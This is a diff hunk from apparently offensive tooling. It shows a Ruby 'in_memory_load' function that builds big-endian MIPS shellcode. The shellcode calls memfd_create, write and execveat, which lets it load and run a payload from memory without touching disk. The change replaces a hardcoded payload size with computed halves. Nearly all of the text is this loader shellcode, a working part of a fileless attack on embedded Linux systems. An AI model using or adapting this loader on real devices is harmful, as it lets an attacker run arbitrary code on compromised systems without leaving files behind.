@@ -11,32 +11,31 @@ def in_memory_load(payload)
1111 size_l = size & 0x0000ffff
1212 in_memory_loader = [
1313
14- 0x04110000 , #0x1000: bal 0x1004 0x04110000
15- 0x00000000 , #0x1004: nop 0x00000000
16- 0x03e02025 , #0x1008: move $a0, $ra 0x03e02025
17- 0x27ff005c , #0x100c: addiu $ra, $ra, 0x5c 0x27ff005c
18- 0x2419fffe , #0x1010: addiu $t9, $zero, -2 0x2419fffe
19- 0x03202827 , #0x1014: not $a1, $t9 0x03202827
20- 0x240214c2 , #0x1018: addiu $v0, $zero, 0x14c2 0x240214c2
21- 0x0101010c , #0x101c: syscall 0x40404 0x0101010c
22- 0x03e02825 , #0x1020: move $a1, $ra 0x03e02825
23- 0x3c060017 , #0x1024: lui $a2, 0x17 0x3c060017
24- 0x34c62fb8 , #0x1028: ori $a2, $a2, 0x2fb8 0x34c62fb8
25- 0x00402025 , #0x102c: move $a0, $v0 0x00402025
26- 0x0080c825 , #0x1030: move $t9, $a0 0x0080c825
27- 0x24021389 , #0x1034: addiu $v0, $zero, 0x1389 0x24021389
28- 0x0101010c , #0x1038: syscall 0x40404 0x0101010c
29- 0x03202025 , #0x103c: move $a0, $t9 0x03202025
30- 0xafa0fffc , #0x1040: sw $zero, -4($sp) 0xafa0fffc
31- 0x27bdfffc , #0x1044: addiu $sp, $sp, -4 0x27bdfffc
32- 0x03a02820 , #0x1048: add $a1, $sp, $zero 0x03a02820
33- 0x00003025 , #0x104c: move $a2, $zero 0x00003025
34- 0x00003825 , #0x1050: move $a3, $zero 0x00003825
35- 0x24191000 , #0x1054: addiu $t9, $zero, 0x1000 0x24191000
36- 0xafb90010 , #0x1058: sw $t9, 0x10($sp) 0xafb90010
37- 0x240214c4 , #0x105c: addiu $v0, $zero, 0x14c4 0x240214c4
38- 0x0101010c , #0x1060: syscall 0x40404 0x0101010c
39-
14+ 0x04110000 , #0x1000: bal 0x1004 0x04110000
15+ 0x00000000 , #0x1004: nop 0x00000000
16+ 0x03e02025 , #0x1008: move $a0, $ra 0x03e02025
17+ 0x27ff005c , #0x100c: addiu $ra, $ra, 0x5c 0x27ff005c
18+ 0x2419fffe , #0x1010: addiu $t9, $zero, -2 0x2419fffe
19+ 0x03202827 , #0x1014: not $a1, $t9 0x03202827
20+ 0x240214c2 , #0x1018: addiu $v0, $zero, 0x14c2 0x240214c2
21+ 0x0101010c , #0x101c: syscall 0x40404 0x0101010c
22+ 0x03e02825 , #0x1020: move $a1, $ra 0x03e02825
23+ ( 0x3c06 << 16 | size_h ) , # lui a2,0x17
24+ ( 0x34c6 << 16 | size_l ) , # ori a2,a2,0x2fb8
25+ 0x00402025 , #0x102c: move $a0, $v0 0x00402025
26+ 0x0080c825 , #0x1030: move $t9, $a0 0x0080c825
27+ 0x24021389 , #0x1034: addiu $v0, $zero, 0x1389 0x24021389
28+ 0x0101010c , #0x1038: syscall 0x40404 0x0101010c
29+ 0x03202025 , #0x103c: move $a0, $t9 0x03202025
30+ 0xafa0fffc , #0x1040: sw $zero, -4($sp) 0xafa0fffc
31+ 0x27bdfffc , #0x1044: addiu $sp, $sp, -4 0x27bdfffc
32+ 0x03a02820 , #0x1048: add $a1, $sp, $zero 0x03a02820
33+ 0x00003025 , #0x104c: move $a2, $zero 0x00003025
34+ 0x00003825 , #0x1050: move $a3, $zero 0x00003825
35+ 0x24191000 , #0x1054: addiu $t9, $zero, 0x1000 0x24191000
36+ 0xafb90010 , #0x1058: sw $t9, 0x10($sp) 0xafb90010
37+ 0x240214c4 , #0x105c: addiu $v0, $zero, 0x14c4 0x240214c4
38+ 0x0101010c #0x1060: syscall 0x40404 0x0101010c
4039
4140
4241 ] . pack ( 'N*' )
0 commit comments